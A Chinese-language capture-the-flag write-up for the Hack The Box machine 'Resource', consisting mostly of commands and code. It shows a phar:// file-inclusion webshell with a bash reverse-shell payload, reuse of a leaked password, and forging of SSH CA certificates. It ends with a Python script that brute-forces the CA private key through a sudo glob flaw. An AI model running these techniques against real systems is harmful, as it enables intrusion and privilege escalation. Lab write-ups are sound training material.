Resource(HTB Hard)
基本信息
- IP:
10.10.11.27 - VPN:
10.10.16.7 - 域名:
itrc.ssg.htb
信息收集
vim /etc/hosts
10.10.11.27 itrc.ssg.htb
nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.11.27
80/tcp
22/tcp
2222/tcp
http://itrc.ssg.htb 有登录/注册。SQL 注入无果,注册后可上传 zip。?page=ticket&id=10 可能越权;?page=admin 能进,有 ping 窗口但命令执行失败。
User(容器 www-data → zzinter)
压缩 phpinfo 再上传:
echo '<?php phpinfo(); ?>' > info.php
zip info.zip info.php
上传后文件名被哈希化,实际在 /uploads/。用 phar:// 包含:
http://itrc.ssg.htb/?page=phar://uploads/26b3b3ac4c1d5263dd15e309b1d0c45d62a15c78.zip/phpinfo
反弹 shell(注意笔记里 LHOST 写成了靶机 IP,实际应填 VPN IP):
nc -lnvp 4444
echo "<?php eval(system(\"bash -c 'bash -i >& /dev/tcp/<VPN_IP>/4444 0>&1'\")); ?>" > info.php
zip info.zip info.php
http://itrc.ssg.htb/?page=phar://uploads/<hash>.zip/phpinfo
uid=33(www-data)
根目录有 .dockerenv,当前在容器里。/home 有 msainristil、zzinter。旧上传包解压出 har:
cd /var/www/html/uploads/
unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
cat itrc.ssg.htb.har | grep msainristil
"value": "msainristil"
"value": "82yards2closeit"
家目录有 ca-itrc / ca-itrc.pub,可用 CA 签用户证书。参考 SSH CA。
ssh-keygen -t rsa -C [email protected] -f users_key
ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub
scp [email protected]:/home/msainristil/decommission_old_ca/user* ./
ssh -i users_key [email protected]
容器 root 同理:
ssh-keygen -t rsa -C [email protected] -f dockerroot
ssh-keygen -s ca-itrc -n root -I ident dockerroot.pub
ssh -i dockerroot [email protected]
user.txt 在 zzinter 家目录。
主机 support / zzinter(2222)
sign_key_api.sh 向 signserv.ssg.htb 要签名,principal 限 webserver,analytics,support,security。签 support:
ssh-keygen -t rsa -C [email protected] -f support
./sign_key_api.sh support.pub support support > support-cert.pub
scp [email protected]:/tmp/suppo* .
ssh -i support -p 2222 [email protected]
/etc/ssh/auth_principals 显示 zzinter 可用 zzinter_temp。在容器里改脚本白名单后签:
cp /home/zzinter/sign_key_api.sh /tmp/sign.sh
ssh-keygen -t rsa -C [email protected] -f zzintertemp
./sign.sh zzintertemp.pub zzinter zzinter_temp > zzintertemp-cert.pub
ssh -i zzintertemp -p 2222 [email protected]
Root(主机)
sudo -l
cat /opt/sign_key.sh
免密执行 /opt/sign_key.sh。脚本会把传入 CA 和 /etc/ssh/ca-it 做字符串比较;当前用户读不了 ca-it,可用通配符 * 逐字符还原。root 的 principal 是 root_user。
ssh-keygen -t rsa -C [email protected] -f rootuser
pre.py:
import os
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key = []
line = 0
while True:
for char in ba64chars:
testKey = header + "\n" + "".join(key) + char + "*"
with open('/tmp/test-ca', 'w', encoding='utf-8') as f:
f.write(testKey)
orderResult = os.popen("sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05").readlines()
if "Error: Use API for signing with this CA." in str(orderResult):
key.append(char)
if len(key) > 0 and (len(key) - line) % 70 == 0:
line = line + 1
key.append("\n")
break
else:
break
testKey = header + "\n" + "".join(key) + "\n" + footer
with open('/tmp/test-ca', 'w') as f:
f.write(testKey)
每 70 字符插入的换行要删掉再签:
python pre.py
ssh-keygen -s /tmp/test-ca -z 05 -I root -V -1w:forever -n root_user rootuser.pub
python -m http.server 8999
本机取回后:
ssh -i rootuser -p 2222 [email protected]
cd /root
cat root.txt
至此,机器权限已经全部获取。